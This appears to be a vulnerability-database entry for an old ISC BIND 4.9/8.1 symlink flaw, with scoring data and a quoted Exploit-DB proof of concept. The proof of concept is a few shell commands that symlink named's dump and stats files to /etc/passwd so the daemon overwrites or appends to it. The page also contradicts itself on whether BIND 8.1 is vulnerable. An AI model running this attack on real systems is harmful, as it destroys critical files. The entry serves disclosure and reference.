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CVE Descriptions
named in ISC BIND 4.9 and 8.1 allows local users to destroy files via a symlink attack on (1) named_dump.db when root kills the process with a SIGINT, or (2) named.stats when SIGIOT is used.
CVE Informations
Metrics
| Metrics | Score | Severity | CVSS Vector | Source |
|---|---|---|---|---|
| V2 | 2.1 | AV:L/AC:L/Au:N/C:N/I:P/A:N | nvd@nist.gov |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 19072
Publication date : 1998-04-09 22h00 +00:00
Author : Joe H
EDB Verified : Yes
source: https://www.securityfocus.com/bid/80/info
The named daemon will dump the named database to /var/tmp/named_dump.db
when it receives a SIGINT signal. It does not check for symbolic links while
doing so and can be made to overwrite any file in the system.
The named daemons will append named statistics to /var/tmp/named.stats
when it receives a SIGIOT signal. It does not check for symbolic links while
doing so and ca be made to append to any file in the system.
BIND 8.1.x is not vulnerable as it uses a private directory specified in
named.{boot,conf} for temporary and debug dumps.
$ ls -l /var/tmp/named_dump.db
/var/tmp/named_dump.db not found
$ ls -l /var/tmp/named.stats
/var/tmp/named.stats not found
$ ln -s /etc/passwd /var/tmp/named_dump.db
$ ln -s /etc/passwd /var/tmp/named.stats
[ wait for root to send a SIGINT or SIGIOT to named ]
Products Mentioned
Configuraton 0
Isc>>Bind >> Version 4.9
- Isc>>Bind >> Version 4.9 (Open CPE detail)
- Isc>>Bind >> Version 4.9 (Open CPE detail)
Isc>>Bind >> Version 8.1
- Isc>>Bind >> Version 8.1 (Open CPE detail)
- Isc>>Bind >> Version 8.1 (Open CPE detail)
